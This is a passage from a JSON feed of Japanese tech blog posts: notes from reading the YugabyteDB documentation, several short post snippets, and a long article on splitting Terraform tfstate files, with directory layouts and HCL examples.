Universeを読みます。また画像は同ドキュメントより引用しています。UniverseYugabyteDBは耐久性とスケーラビリティを兼ねそなえた分散データベースを達成するために、Universe1と呼ばれるノードのグループを持っている。Universeはビジネス要件やレイテンシの兼ね合いでシングルゾーン、単一リージョンマルチゾーン、マルチリージョン、同期・非同期レプリケーションなどを選択することが出来る。UnivereはClusterと表現されることもある。データの構成Universeは一つ以上のネームスペースを持つことができ、またネームスペースは一つ以上のテーブルを持つことができる。YugabyteDBではUniverse上に存在するノードにまたがって保持されるテーブルを設定に従って、シャーディングし、レプリケーション、ロードバランシングを行なう。YugabyteDBはノードやディスク、ゾーンなどに発生した障害に自動で対応し、必要であればデータを新規に分散、レプリケーションを行なう。ネームスペースはYSQLではデータベースに対応し、ほかのDBにおけるネームスペースに対応する2。YCQLではキースペースに対応し、Cassandraのキースペースに対応している。サービスコンポーネントUniverseはYugabyteDB Tablet Server(YB-TServer)とYugabyteDB Master Server(YB-Master)の二つで構成されている。YB-MasterとYB-TServerはRaftにより分散されており、高可用性を達成している。YB-Tserverはテーブルを始めとしたユーザーデータの保存、提供を担当する。YB-Masterはシステムのメタデータを管理し、システム全体のテーブルに対するDDLやメンテナンスの実行、ロードバランシングといったオペレーションを管理する。UniverseとClusterUniverseは一つのプライマリクラスタとゼロ個以上のレプリカクラスタによって構成されている。プライマリクラスタプライマリクラスタはRead/Write両方の実行と、プライマリクラスタ内のノード間の同期的なレプリケーションを担当する。リードレプリカクラスタリードレプリカクラスタはRead処理のみを実行する。Write処理は自動的にプライマリクラスタにルーティングされる。リードレプリカクラスタを利用することで、地理的に分散したデータに対する読み取りの遅延を小さくすることができる。データはプライマリクラスタから非同期的にとりこまれる。これはRaftの書き込みには関与しないRaftオブザーバとして機能する。GoogleのCloud Spannerでも同様にUniverseと呼ばれている↩PostgreSQLではSchemaの裏側に存在するデータ構造↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/2_key_concepts_universe","isoDate":"2023-07-26T15:03:13.000Z","dateMiliSeconds":1690383793000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"YugabyteDBのドキュメントを全部読む Day1","contentSnippet":"Day1最近Twitter改めXで「俺はDBのドキュメント端から端まで読んで強くなった」というX\'s1を複数みかけました。周りのエンジニアに一歩差をつける方法として、フレームワークやミドルウェアやライブラリのドキュメントを最初から最後までちゃんと読む、というのがあって、これはマジでコスパ抜群です。— 徳永広夢 (@tokuhirom) July 21, 2023 確かに私のRedisはこれ。 https://t.co/2y1E01aLGw— maru (@maruloop) July 22, 2023 私のMySQLもこれ。 https://t.co/BxiOjeQVPk— yoku0825 (@yoku0825) July 22, 2023 俺のpostgresqlもこれ。 https://t.co/URRjyXCpGI— そーだい@初代ALF (@soudai1025) July 22, 2023 PostgreSQL系NewSQLで最強になりたいのでYugabyteDBのドキュメントを順番に読んで行きます。ドキュメントはv2.19に対応したものです。手始めにArchitectureの一番先頭にあるDesign goalsから読みはじめます。また画像は同ドキュメントより引用しています。Design goalsYugabyteDBは以下を達成することを目標としている。1. 分散トランザクションを提供しながら強い一貫性を保証する。2. Query APIを再発明せず、既存のクエリ言語への互換を達成する。3. 高いパフォーマンスを保証する。4. 地理的に分散したデプロイを可能にする。5. Cloud Native Databaseとしてデザインする。一貫性分断耐性YugabyteDBはCAPの定理で言えばCPを中心に高い可用性を供えたデータベースネットワーク分断などを起因とするSplit BrainはRaft Group内であたらしいリーダーを選出することで対応している。YugabyteDBではLeader Leaseという障害が発生しても常に一つのリーダが存在することを保証する仕組みを実装している。直列化可能性single-row Linearizable writeをサポートしている。ACIDトランザクションYugabyteDBではSeriarizable、Repetable Read、Read Committed Isolationの三つの分離レベルをサポートしている。YSQL APIではこれら3つの分離レベルをサポートしているが、YCQLではRepeatable Readのみに対応している。Query APIYugabyteDBではYSQLとYCQLという2種類のQuery APIをサポートしている。YSQLYSQLはPostgreSQLに互換したAPIでPostgreSQLのクエリレイヤを再利用している。新しい変更は互換性を崩さない。YSQLは新しいPostgreSQLに互換しつづけることを目標としている。YCQLYCQLはCassandraのクエイ言語から派生した半リレーショナルなクエリ言語で、Webスケールな膨大なwriteに対応してスケールし素早いデータ取得を目標としている。パフォーマンスC++で実装されているため高いパフォーマンスと巨大なHeap(RAM)をCacheとして利用できる。SSDとNVMeに最適化している。高いWriteスループットとクライアントの同時実行性、高いデータ密度、増加し続けるデータへの対応を目標としている。地理的分散Zone、Multi Region、Multi Cloudいずれにも対応している。これに対応するために、ノード障害やトラヒックのルーティングなどに対応できる必要がある。クラウドネイティブアーキテクチャパブリッククラウドやオンプレミスで利用される一般てきなハードウェアで利用可能にする。原子時計のような特別なものに依存しない。Kubernatesに対応している。OSSで提供している。https://twitter.com/SawyerMerritt/status/1683365478582951936↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/1_design_goals","isoDate":"2023-07-25T15:01:52.000Z","dateMiliSeconds":1690297312000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Vimでコマンドライン履歴を遡りやすくする","contentSnippet":"本記事はVim 駅伝7/24の記事です。Vimのコマンドラインで、履歴を遡りたい時、:wとか:qaとかが出てきて煩わしく感じることがあります。正直、これくらいシンプルなExコマンドであれば履歴に残しておく意味すら薄いので、履歴に残さない(or 履歴から消す)といいでしょう。","link":"https://blog.atusy.net/2023/07/24/vim-clean-history/","isoDate":"2023-07-24T00:00:00.000Z","dateMiliSeconds":1690156800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Terraformでmapにkeyが含まれないときにスキップしたい","contentSnippet":"Google CloudではPublic IPを利用した際に割り振られる可能性のあるCIDRの一覧がcloud.jsonでJSON形式で公開されています。この記事は雑な検証用のTerraformで承認済みネットワークにasia-notheast1のCIDRを全部登録してやろうとしたとき、上記のJSONファイルからscopeがasia-northeast1のprefixes.ipv4Prefixを抜きだそうとしたときにハマったのでその対応方法のメモです 結論以下のような感じで書いたら対応できました。contains(keys(hoge), \\"fuga\\") # hogeのkeyにh...","link":"https://zenn.dev/nnaka2992/articles/skip_when_key_does_not_exists_in_map_terraform","isoDate":"2023-07-22T14:53:12.000Z","dateMiliSeconds":1690037592000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Kubernetes の upstream のキャッチアップ","contentSnippet":"先日、Kubernetes Meetup Tokyo #59 で「KEP から眺める Kubernetes」というタイトルで発表しました。発表の後で Kubernetes の upstream のキャッチアップ方法について質問を受けました。その場で回答はしたのですが、ちょうど社内の共有会で似たような話をしたところだったので、加筆修正したものを公開しておきます。 はじめにKubernetes の upstream を追いかけ始めて 1 年ちょっと経ったので、その経験をまとめます。Kubernetes の upstream やエコシステムを観察しているだけで、コントリビュータではありま...","link":"https://zenn.dev/toversus/articles/52b107ab103712","isoDate":"2023-07-20T10:18:32.000Z","dateMiliSeconds":1689848312000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Pandoc 3でカスタムライターがとてもよくなった","contentSnippet":"様々な文書形式を相互変換するPandocにはカスタムライター・カスタムリーダーという、独自形式の読み書きをサポートする機能があります。Lua言語で記述でき、便利関数も色々と用意されています。","link":"https://blog.atusy.net/2023/07/14/pandoc-3-custom-writer/","isoDate":"2023-07-14T00:00:00.000Z","dateMiliSeconds":1689292800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud Native の作法","contentSnippet":"2023年7月13日 \\r\\r成熟度モデルを活用したCloud Nativeへの道筋 という副題で登壇します #開発生産性con_findy\\rhttps://syu-m-5151.hatenablog.com/entry/2023/07/13/131433\\r\\r\\r開発生産性Conference の登壇資料\\rhttps://findy.connpass.com/event/283417/","link":"https://speakerdeck.com/nwiizo/cloud-native-nozuo-fa","isoDate":"2023-07-13T04:00:00.000Z","dateMiliSeconds":1689220800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"メールが届いたら Google Home で音声で通知する","contentSnippet":"以前、「LINE に送ったメッセージを Google Home に読み上げさせる」という記事を書きました。 その時に作ったものに家にあるラズパイで Cloud PubSub を subscribe してメッセー","link":"https://blog.1q77.com/2023/07/ses-lambda-and-cloud-pubsub/","isoDate":"2023-07-10T14:25:35.000Z","dateMiliSeconds":1688999135000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"【Terraform\uD83E\uDDD1\uD83C\uDFFB‍\uD83D\uDE80】tfstateファイルの分割パターンとディレクトリ構成への適用","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Terraformのtfstateファイルを分割する目的と、オススメの分割パターンについて (★で表現)Terraformのリポジトリやリモートバックエンドのディレクトリ構成の設計について記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます! この記事から得られる知識01. はじめに02. なぜ tfstate ファイルを分割するのか分割しなかった場合分割した方がいい場合分割しない方がいい場合03. tfstate ファイルの分割分割の境界状態の依存関係図依存関係図とは依存関係の表現▼ 依存関係の表現記法▼ 依存関係がない場合▼ 依存関係がある場合04. tfstate ファイルに基づくその他の設計リポジトリ \uD83D\uDC31 の設計リポジトリ分割ディレクトリ \uD83D\uDCC2 構成リモートバックエンド \uD83E\uDEA3 の設計リモートバックエンド分割ディレクトリ構成05. 状態の依存関係の定義方法terraform_remote_stateブロックの場合terraform_remote_stateブロックによる依存状態の依存関係図リポジトリのディレクトリ構成リモートバックエンドのディレクトリ構成AWSリソース別dataブロックの場合AWSリソース別dataブロックによる依存状態の依存関係図リポジトリのディレクトリ構成リモートバックエンドのディレクトリ構成06. tfstate ファイルの分割パターンオススメな設計の一覧大分類 (上層/下層/中間層) とディレクトリ構成の関係リポジトリの場合リモートバックエンドの場合07. 上層の分割 (推奨)上層の分割についてプロバイダーのアカウント別 - ★★★この分割方法について【プロバイダーアカウント別】状態の依存関係図【プロバイダーアカウント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【プロバイダーアカウント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合08. 下層の分割 (推奨)下層の分割について実行環境別 - ★★★この分割方法について【実行環境別】状態の依存関係図【実行環境別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【実行環境別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンド x AWSアカウント別に異なる実行環境 の場合▼ 同じリモートバックエンド x 単一のAWSアカウント内に全ての実行環境 の場合09. 中間層の分割 (任意)中間層の分割について運用チーム責務範囲別 - ★★この分割方法について【チーム別】状態の依存関係図【チーム別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【チーム別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合プロダクトのサブコンポーネント別 - ★★この分割方法について【サブコンポーネント別】状態の依存関係図【サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別 - ★この分割方法について【チーム別 \xd7 サブコンポーネント別】状態の依存関係図【チーム別 \xd7 サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【チーム別 \xd7 サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合同じテナント内のプロダクト別この分割方法について【同じテナント内のプロダクト】状態の依存関係図【同じテナント内のプロダクト】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【同じテナント内のプロダクト】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合AWSリソースの種類グループ別この分割方法について【種類グループ別】状態の依存関係図【種類グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【種類グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合AWSリソースの状態の変更頻度グループ別この分割方法について【変更頻度グループ別】状態の依存関係図【変更頻度グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【変更頻度グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合10. おわりに謝辞記事関連のおすすめ書籍01. はじめにどうも、Mitchell Hashimoto です。さて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、チームが使っているTerraform\uD83E\uDDD1\uD83C\uDFFB‍\uD83D\uDE80のリポジトリをリプレイスする作業を担当しました。このリポジトリでは単一のtfstateファイルが状態を持ち過ぎている課題を抱えていたため、課題に合った適切な分割パターンでリプレイスしました。今回は、この時に整理した分割パターン (AWS向け) を記事で解説しました。もちろん、GoogleCloudやAzureでも読み換えていただければ、同じように適用できます。知る限りの分割パターンを記載したところ、情報量がエグいことになってしまったため、気になる分割パターンだけ拾って帰っていただけるとハッピーです\uD83D\uDE4Fそれでは、もりもり布教していきます\uD83D\uDE1702. なぜ tfstate ファイルを分割するのか%%{init: { \'theme\': \\"default\\", \'themeVariables\': { \'commitLabelFontSize\': \'13px\' }}}%%gitGraph commit id: \\"8c8e6\\" commit id: \\"0e3c3\\" branch feature/foo checkout feature/foo commit id: \\"4e9e8\\" commit id: \\"da005\\" checkout main branch feature/bar commit id: \\"2d52f\\" checkout main commit id: \\"e74d6\\" branch feature/baz commit id: \\"f6881\\"分割しなかった場合そもそも、なぜtfstateファイルを分割する必要があるのでしょうか。tfstateファイルを分割しなかったと仮定します。様々なインフラコンポーネントを単一のtfstateファイルで状態を持つ場合、1回のterraformコマンド全てのコンポーネントの状態を操作できて楽です。ただし、複数の作業ブランチがある状況だと煩わしいことが起こります。各作業ブランチでインフラコンポーネントの状態を変更しかけていると、他の作業ブランチから影響を受け、terraformコマンドでtargetオプションが必要になってしまいます。他にも、terraformコマンドの完了に時間がかかりすぎるといった問題も起こるかもしれません。単一のtfstateファイルで管理するコンポーネントが多くなるほど、これらの問題は顕著になります。分割した方がいい場合その一方で、tfstateファイルをいい感じに分割したと仮定します。各作業ブランチでは、まるで暗黙的にtargetオプションがついたように、他の作業ブランチから影響を受けずにterraformコマンドを実行できます。よって、各tfstateファイルを操作できる管理者は互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Terraform: Up and Running: Writing Infrastructure as CodeOrganizing With Multiple States - DevOps with Terraform - CloudCasts分割しない方がいい場合運用ルールや開発者人数が理由で作業が衝突せず、targetオプションが必要ない状況であれば、tfstateファイルは分割しなくてもよいでしょう。tfstateファイルを分割するメリットが少ないです\uD83D\uDE45\uD83C\uDFFB‍03. tfstate ファイルの分割分割の境界それでは、tfstateファイルの分割の境界はどのようにして見つければよいのでしょうか。これを見つけるコツは、できるだけ相互に依存しないインフラリソースの関係 に注目することだと考えています。ここでいう依存とは、\\"tfstateファイルが他のtfstateファイルの状態を使用すること\\" です。もう少し具体的に言語化すると、\\"特定のインフラリソースが他の設定値を参照すること\\" です。状態をほとんど使用し合わない (互いに設定値の参照数が少ない) インフラリソース同士を、異なるtfstateファイルで管理します。異なるtfstateファイルで管理できる分割パターンについては後述します。▶ 『依存』という用語についてtfstateファイルでも同じ用語で表現することにしました。@tmknom さんが述べている通り、Terraformをよりよく設計するためには、『ソフトウェアの基礎知識』が必要です\uD83D\uDC4D状態の依存関係図依存関係図とは分割したtfstateファイル間の状態の依存関係を表現した図です。プロバイダーのアカウントの状態をtfstateファイルで管理していることを想像してみてください。%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWSアカウント foo[\\"tfstateファイル\\"] end似たものとしてterraform graphコマンドによるグラフがありますが、これはインフラリソース間の依存関係図です。tfstateファイル間で相互に依存関係があるからといって、個別のインフラリソース間で循環参照が起こってしまうというわけではないです。続いて、依存関係がある場合と無い場合で、どのような依存関係図になるかを紹介していきます。Command: graph | Terraform | HashiCorp Developer依存関係の表現▼ 依存関係の表現記法tfstateファイル間で状態の依存関係がある場合、これを図で表現すると分割の状況がわかりやすくなります。『依存』は、---> (波線矢印) で表現することとします。依存関係がある場合については、後述します。▶ 『依存』の波線矢印について---> (波線矢印) で表現します。そのため便宜上、tfstateファイルでも同じ記号で表現することにしました\uD83D\uDC4D▼ 依存関係がない場合例えば、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、 tfstate ファイル間に依存関係はないとします。そのため、想定される状態の依存関係図は以下の通りになります。tfstateファイル間に依存関係がない状況がベストです。---title: tfstateファイル間に依存関係はない---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWSアカウント foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end▼ 依存関係がある場合同様に分割したと仮定します。ここで仮定した状況では、 foo-tfstate ➡︎ bar-tfstate の方向に依存しているとします。そのため、---> (波線矢印) を使用して、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: foo-tfstateファイルは、bar-tfstateファイルに依存---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph AWSアカウント foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. 依存 .-> bar04. tfstate ファイルに基づくその他の設計リポジトリ \uD83D\uDC31 の設計リポジトリ分割ここまでで、tfstateファイル分割について簡単に紹介しました。リポジトリの分割は、tfstateファイル分割に基づいて設計しましょう。可能であれば、1個のリポジトリに1個のtfstateファイルをおくことが望ましいです。異なるリポジトリにtfstateファイルをおいた方がよい場合については、分割パターン で説明しています。\uD83D\uDC31 foo-repository/├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する...\uD83D\uDC31 bar-repository/├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する...ディレクトリ \uD83D\uDCC2 構成リポジトリ内のディレクトリ構成も、tfstateファイル分割に基づいて設計しましょう。率直に言うと、Terraformのディレクトリ構成のパターンは無数にあります。そのため、基準なしにディレクトリ構成を考えると何でもあり になってしまいます。その一方で、tfstateファイル分割に基づいて設計することにより、明確なディレクトリ構成パターン として抽出可能になります。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ...▶ ローカルモジュールのディレクトリ構成の設計についてresource、data) のセットを使い回すことを目的とした、ローカルモジュールがあります。今回、これのディレクトリ構成は設計に含めていません。混同しやすいのですが、tfstateファイル分割に基づくディレクトリ構成とローカルモジュール内のそれは、全く別のテーマとして切り離して考えることができます\uD83D\uDC4Dリモートバックエンド \uD83E\uDEA3 の設計リモートバックエンド分割本記事では、リモートバックエンドとしてAWS S3バケットを使用することを想定しています。リモートバックエンドの分割は、tfstateファイル分割に基づいて設計しましょう。異なるリモートバックエンドにtfstateファイルをおいた方がよい場合については、分割パターン で説明しています。\uD83E\uDEA3 foo-bucket/│└── terraform.tfstate # fooコンポーネントの状態を持つ\uD83E\uDEA3 bar-bucket/│└── terraform.tfstate # barコンポーネントの状態を持つディレクトリ構成もし、リモートバックエンドをtfstateファイル分割に基づいて分割しなかったとします。その場合は、代わりにリモートバックエンド内のディレクトリ構成をtfstateファイル分割に基づいて設計しましょう。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo/│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar/ └── terraform.tfstate # barコンポーネントの状態を持つ05. 状態の依存関係の定義方法terraform_remote_stateブロックの場合terraform_remote_stateブロックによる依存terraform_remote_stateブロックには、以下のメリデメがあります。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 可読性 - terraform_remote_stateブロックに加えてoutputブロックも実装が必要であり、outputブロックは依存先のAWSリソースが一見してわかりにくい。 拡張性 依存先のAWSリソースに関わらず、同じterraform_remote_stateブロックを使い回せる。 - 保守性 - 依存先と依存元の間でTerraformのバージョンに差がありすぎると、tfstateファイル間で互換性がなくなり、terraform_remote_stateブロックの処理が失敗する。 本記事では、 terraform_remote_state ブロックを使用して、状態の依存関係を定義 していきます。tfstateファイルが他のtfstateファイルに依存する方法として、後述のAWSリソース別dataブロックがあります。The terraform_remote_state Data Source | Terraform | HashiCorp Developer状態の依存関係図例えば、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、bar-tfstateファイルはVPCの状態を持っており、 foo-tfstate ファイルは bar-tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: terraform_remote_stateブロックを使用した依存関係---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph bucket foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. VPCの状態に依存 .-> barリポジトリのディレクトリ構成tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。ディレクトリの設計方法は、分割パターン で説明しています。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ├── remote_state.tf # terraform_remote_stateブロックを使用し、bar-tfstate ファイルに依存する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ├── output.tf # 他の tfstate ファイルから依存される ├── provider.tf ...foo-tfstateファイルがbar-tfstateファイルに依存するために必要な実装は、以下の通りになります。resource \\"example\\" \\"foo\\" { # fooリソースは、bar-tfstate ファイルのVPCに依存する vpc_id = data.terraform_remote_state.bar.outputs.bar_vpc_id ...}data \\"terraform_remote_state\\" \\"bar\\" { backend = \\"s3\\" config = { bucket = \\"tfstate\\" key = \\"bar/terraform.tfstate\\" region = \\"ap-northeast-1\\" }}# VPCの状態は、bar-tfstate ファイルで持つoutput \\"bar_vpc_id\\" { value = aws_vpc.bar.id}resource \\"aws_vpc\\" \\"bar\\" { ...}リモートバックエンドのディレクトリ構成tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar └── terraform.tfstate # barコンポーネントの状態を持つAWSリソース別dataブロックの場合AWSリソース別dataブロックによる依存AWSリソース別dataブロックには、以下のメリデメがあります。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 可読性 依存先のAWSリソースがわかりやすい。 - 拡張性 - 依存先のAWSリソース別dataブロックが必要である。 保守性 依存先と依存元の間でTerraformのバージョンに差があっても、tfstateファイル間で直接的に依存するわけではないため、バージョン差の影響を受けない。 - 今回は使用しませんが、依存関係の他の定義方法として、AWSリソース別dataブロックがあります。これは、tfstateファイルが自身以外 (例:コンソール画面、他のtfstateファイル) で作成されたAWSリソースの状態に依存するために使用できます。terraform_remote_stateブロックとは異なり、直接的にはtfstateファイルに依存しません。AWSリソース別dataブロックの場合は、実際のAWSリソースの状態に依存することにより、間接的にAWSリソースのtfstateファイルに依存することになります。Data Sources - Configuration Language | Terraform | HashiCorp Developer状態の依存関係図例えば、AWSリソース別dataブロックも同様にして、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、bar-tfstateファイルはVPCの状態を持っており、 foo-tfstate ファイルは bar-tfstate ファイルに依存しているとします。想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: dataブロックを使用した依存関係---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph bucket foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. VPCの状態に依存 .-> barリポジトリのディレクトリ構成ディレクトリ構成は、tfstateファイル分割に基づいて、以下の通りになります。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ├── data.tf # dataブロックを使用し、bar-tfstate ファイルに依存する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ├── provider.tf ...foo-tfstateファイルがbar-tfstateファイルに依存するために必要な実装は、以下の通りになります。# fooリソースの状態は、foo-tfstate ファイルで持つresource \\"example\\" \\"foo\\" { # fooリソースは、bar-tfstate ファイルのVPCに依存する vpc_id = data.aws_vpc.bar.id}# VPCの状態は、bar-tfstate ファイルで持つdata \\"aws_vpc\\" \\"bar\\" { filter { name = \\"tag:Name\\" values = [\\"\\"] }}リモートバックエンドのディレクトリ構成tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar └── terraform.tfstate # barコンポーネントの状態を持つ06. tfstate ファイルの分割パターンオススメな設計の一覧前述の通り、tfstateファイルの分割の境界は、『他の状態にできるだけ依存しないリソースの関係』から見つけることができます。分割しすぎると terraform_remote_stateブロック地獄 になるため、細かすぎず粗すぎない適切な境界を見つけていきましょう。今回は、私が考える分割パターンをいくつか紹介します。全てが実用的なパターンというわけでないため、オススメするものを ★ としています。推奨・任意 tfstate分割パターン大分類 tfstate分割パターン小分類オススメ 対応するリポジトリ構成 \uD83D\uDC31 対応するリモートバックエンド構成 \uD83E\uDEA3 推奨 上層 プロバイダーのアカウント別 ★★★ リポジトリ自体または上層ディレクトリ リモートバックエンド自体または上層ディレクトリ 下層実行環境別 ★★★ 下層ディレクトリ 下層ディレクトリ 任意 中間層 運用チーム責務範囲別 ★★ 中間層ディレクトリ 中間層ディレクトリ プロダクトのサブコンポーネント別 ★★ 運用チーム責務範囲別\xd7プロダクトのサブコンポーネント別(組み合わせ) ★ 同じテナント内のプロダクト別 AWSリソースの種類グループ別 AWSリソースの状態の変更頻度グループ別 大分類 (上層/下層/中間層) とディレクトリ構成の関係リポジトリの場合記事内のここ で、リポジトリ内のディレクトリ構成はtfstateファイル分割に基づいて設計するべき、という説明をしました。tfstateファイルの分割パターンは、上層/下層/中間層 の層に大別できます。これらの層は、以下の通りリポジトリ自体・ディレクトリ構成の設計方法に影響します。# リポジトリ自体を分割する場合\uD83D\uDC31 上層/├── \uD83D\uDCC2 中間層/│ ├── \uD83D\uDCC2 下層/│ │ ├── backend.tfvars # 分割された tfstate ファイルを指定する│ │ ...│ │...# リポジトリ内のディレクトリを分割する場合\uD83D\uDC31 リポジトリ/├── \uD83D\uDCC2 上層/│ ├── \uD83D\uDCC2 中間層/│ │ ├── \uD83D\uDCC2 下層/│ │ │ ├── backend.tfvars # 分割された tfstate ファイルを指定する│ │ │ ...│ │ │...リモートバックエンドの場合記事内のここ で、リモートバックエンドのディレクトリ構成についても言及しました。これらの層は、以下の通りリモートバックエンド自体・ディレクトリ構成の設計方法に影響します。# リモートバックエンド自体を分割する場合\uD83E\uDEA3 上層/├── \uD83D\uDCC2 中間層/│ ├── \uD83D\uDCC2 下層/│ │ └── terraform.tfstate # 分割された状態を持つ│ ││ │...# リモートバックエンド内のディレクトリを分割する場合\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 上層/│ ├── \uD83D\uDCC2 中間層/│ │ ├── \uD83D\uDCC2 下層/│ │ │ └── terraform.tfstate # 分割された状態を持つ│ │ ││ │ │...07. 上層の分割 (推奨)上層の分割について上層の分割は 推奨 です。Terraformに携わる管理者の数が少なくても採用した方がよいです。tfstateファイルをパターンに応じて分割し、これに基づいてディレクトリ・リモートバックエンドも設計しましょう。プロバイダーのアカウント別 - ★★★この分割方法について上層分割の中でも、基本的な方法の1つです。プロバイダーのアカウント別にtfstateファイルを分割し、上層もこれに基づいて設計します。この分割方法により、各プロバイダーの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度についてtfstateファイルで状態を管理せざるを得ない場合があります。例えば、Kubernetesのプロバイダーは、EKSと同じtfstateファイルで管理した方がよいです\uD83D\uDC4DTerraform Registry【プロバイダーアカウント別】状態の依存関係図例えば、以下のプロバイダーを使用したい状況と仮定します。主要プロバイダー (AWS)アプリ/インフラ監視プロバイダー (Datadog)ジョブ監視プロバイダー (Healthchecks)インシデント管理プロバイダー (PagerDuty)ここで仮定した状況では、各プロバイダーの tfstate ファイル間で状態が相互に依存しているとします。AWSリソース間の相互依存ではないため、循環参照は起こりません。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: プロバイダーのアカウント別---%%{init:{\'theme\':\'default\'}}%%flowchart LR subgraph PagerDuty pagerDuty[\\"tfstate\\"] end subgraph Healthchecks healthchecks[\\"tfstate\\"] end subgraph Datadog datadog[\\"tfstate\\"] end subgraph AWS aws[\\"tfstate\\"] end aws -...-> datadog aws -...-> healthchecks aws -...-> pagerDuty datadog -...-> aws healthchecks -...-> aws pagerDuty -...-> aws【プロバイダーアカウント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロバイダーアカウント別に分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── backend.tf # AWSの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 datadog-repository/├── backend.tf # Datadogの状態を持つ tfstate 